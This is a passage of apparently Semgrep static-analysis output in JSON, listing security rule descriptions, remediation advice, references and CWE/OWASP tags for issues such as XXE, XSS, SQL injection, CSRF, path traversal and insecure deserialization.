[https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring","id":"java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring","name":"java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `render template` and make template files which will safely render HTML instead, or inspect that the HTML is absolutely rendered safely with a function like `sanitize`."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `render template` and make template files which will safely render HTML instead, or inspect that the HTML is absolutely rendered safely with a function like `sanitize`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.injection.raw-html-format.raw-html-format)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n - [https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `render template` and make template files which will safely render HTML instead, or inspect that the HTML is absolutely rendered safely with a function like `sanitize`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.injection.raw-html-format.raw-html-format","id":"ruby.rails.security.injection.raw-html-format.raw-html-format","name":"ruby.rails.security.injection.raw-html-format.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.injection.raw-html-format.raw-html-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential empty AES encryption key. Using an empty key in AES encryption can result in weak encryption and may allow attackers to easily decrypt sensitive data. Ensure that a strong, non-empty key is used for AES encryption."},"help":{"markdown":"Potential empty AES encryption key. Using an empty key in AES encryption can result in weak encryption and may allow attackers to easily decrypt sensitive data. Ensure that a strong, non-empty key is used for AES encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.empty-aes-key.empty-aes-key)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://cwe.mitre.org/data/definitions/310.html](https://cwe.mitre.org/data/definitions/310.html)\n","text":"Potential empty AES encryption key. Using an empty key in AES encryption can result in weak encryption and may allow attackers to easily decrypt sensitive data. Ensure that a strong, non-empty key is used for AES encryption."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.empty-aes-key.empty-aes-key","id":"python.cryptography.security.empty-aes-key.empty-aes-key","name":"python.cryptography.security.empty-aes-key.empty-aes-key","properties":{"precision":"very-high","tags":["CWE-310: Cryptographic Issues","CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A6:2017 misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.empty-aes-key.empty-aes-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Cookie."},"help":{"markdown":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Cookie.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/util/cookie.go](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/util/cookie.go)\n - [https://golang.org/src/net/http/cookie.go](https://golang.org/src/net/http/cookie.go)\n","text":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Cookie."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly","id":"go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly","name":"go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"helpUri":"https://semgrep.dev/r/go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint","id":"go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint","name":"go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application appears to have disabled the CSRF token verification middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by enforcing usage and verification of the CSRF tokens associated with user requests. To enable the CSRF token verification middleware add `\\$APP\\Http\\Middleware\\VerifyCsrfToken` to the middleware group in your `$APP\\Http\\Kernel` class."},"help":{"markdown":"The application appears to have disabled the CSRF token verification middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by enforcing usage and verification of the CSRF tokens associated with user requests. To enable the CSRF token verification middleware add `\\$APP\\Http\\Middleware\\VerifyCsrfToken` to the middleware group in your `$APP\\Http\\Kernel` class.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified)\n - [https://laravel.com/docs/9.x/csrf#preventing-csrf-requests](https://laravel.com/docs/9.x/csrf#preventing-csrf-requests)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cross-site-request-forgery-csrf](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cross-site-request-forgery-csrf)\n","text":"The application appears to have disabled the CSRF token verification middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by enforcing usage and verification of the CSRF tokens associated with user requests. To enable the CSRF token verification middleware add `\\$APP\\Http\\Middleware\\VerifyCsrfToken` to the middleware group in your `$APP\\Http\\Kernel` class."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified","id":"php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified","name":"php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.sql.postgres-taint.postgres-taint)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.rocket.sql.postgres-taint.postgres-taint","id":"rust.rocket.sql.postgres-taint.postgres-taint","name":"rust.rocket.sql.postgres-taint.postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.sql.postgres-taint.postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected usage of @csrf_exempt, which indicates that there is no CSRF token set for this route. This could lead to an attacker manipulating the user's account and exfiltration of private data. Instead, create a function without this decorator."},"help":{"markdown":"Detected usage of @csrf_exempt, which indicates that there is no CSRF token set for this route. This could lead to an attacker manipulating the user's account and exfiltration of private data. Instead, create a function without this decorator.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.csrf-exempt.no-csrf-exempt)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Detected usage of @csrf_exempt, which indicates that there is no CSRF token set for this route. This could lead to an attacker manipulating the user's account and exfiltration of private data. Instead, create a function without this decorator."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.csrf-exempt.no-csrf-exempt","id":"python.django.security.audit.csrf-exempt.no-csrf-exempt","name":"python.django.security.audit.csrf-exempt.no-csrf-exempt","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.csrf-exempt.no-csrf-exempt"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`django.shortcuts.render`) which will safely render HTML instead."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`django.shortcuts.render`) which will safely render HTML instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.raw-html-format.raw-html-format)\n - [https://docs.djangoproject.com/en/3.2/topics/http/shortcuts/#render](https://docs.djangoproject.com/en/3.2/topics/http/shortcuts/#render)\n - [https://docs.djangoproject.com/en/3.2/topics/security/#cross-site-scripting-xss-protection](https://docs.djangoproject.com/en/3.2/topics/security/#cross-site-scripting-xss-protection)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`django.shortcuts.render`) which will safely render HTML instead."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.raw-html-format.raw-html-format","id":"python.django.security.injection.raw-html-format.raw-html-format","name":"python.django.security.injection.raw-html-format.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.raw-html-format.raw-html-format"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-marshal-django.tainted-marshal-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-marshal-django.tainted-marshal-django","id":"python.django.deserialization.tainted-marshal-django.tainted-marshal-django","name":"python.django.deserialization.tainted-marshal-django.tainted-marshal-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-marshal-django.tainted-marshal-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CSRF protection is disabled for this configuration. This is a security risk."},"help":{"markdown":"CSRF protection is disabled for this configuration. This is a security risk.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"CSRF protection is disabled for this configuration. This is a security risk."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled","id":"java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled","name":"java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle","id":"python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle","name":"python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key","id":"kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key","name":"kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Queue $X is missing encryption at rest. Add \"encryption: $Y.QueueEncryption.KMS\" or \"encryption: $Y.QueueEncryption.KMS_MANAGED\" to the queue props to enable encryption at rest for the queue."},"help":{"markdown":"Queue $X is missing encryption at rest. Add \"encryption: $Y.QueueEncryption.KMS\" or \"encryption: $Y.QueueEncryption.KMS_MANAGED\" to the queue props to enable encryption at rest for the queue.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue)\n - [https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-data-protection.html](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-data-protection.html)\n","text":"Queue $X is missing encryption at rest. Add \"encryption: $Y.QueueEncryption.KMS\" or \"encryption: $Y.QueueEncryption.KMS_MANAGED\" to the queue props to enable encryption at rest for the queue."},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue","id":"typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue","name":"typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An HTTP redirect was found to be crafted from user-input `$REQUEST`. This can lead to open redirect vulnerabilities, potentially allowing attackers to redirect users to malicious web sites. It is recommend where possible to not allow user-input to craft the redirect URL. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to restrict the URL to domains in an allowlist."},"help":{"markdown":"An HTTP redirect was found to be crafted from user-input `$REQUEST`. This can lead to open redirect vulnerabilities, potentially allowing attackers to redirect users to malicious web sites. It is recommend where possible to not allow user-input to craft the redirect URL. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to restrict the URL to domains in an allowlist.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.injection.open-redirect.open-redirect)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unvalidated_redirects___forwards/open_redirect_go_lang.html](https://knowledge-base.secureflag.com/vulnerabilities/unvalidated_redirects___forwards/open_redirect_go_lang.html)\n","text":"An HTTP redirect was found to be crafted from user-input `$REQUEST`. This can lead to open redirect vulnerabilities, potentially allowing attackers to redirect users to malicious web sites. It is recommend where possible to not allow user-input to craft the redirect URL. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to restrict the URL to domains in an allowlist."},"helpUri":"https://semgrep.dev/r/go.lang.security.injection.open-redirect.open-redirect","id":"go.lang.security.injection.open-redirect.open-redirect","name":"go.lang.security.injection.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.injection.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Autoescape is globally disbaled for this Django application. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'."},"help":{"markdown":"Autoescape is globally disbaled for this Django application. If you are rendering any web 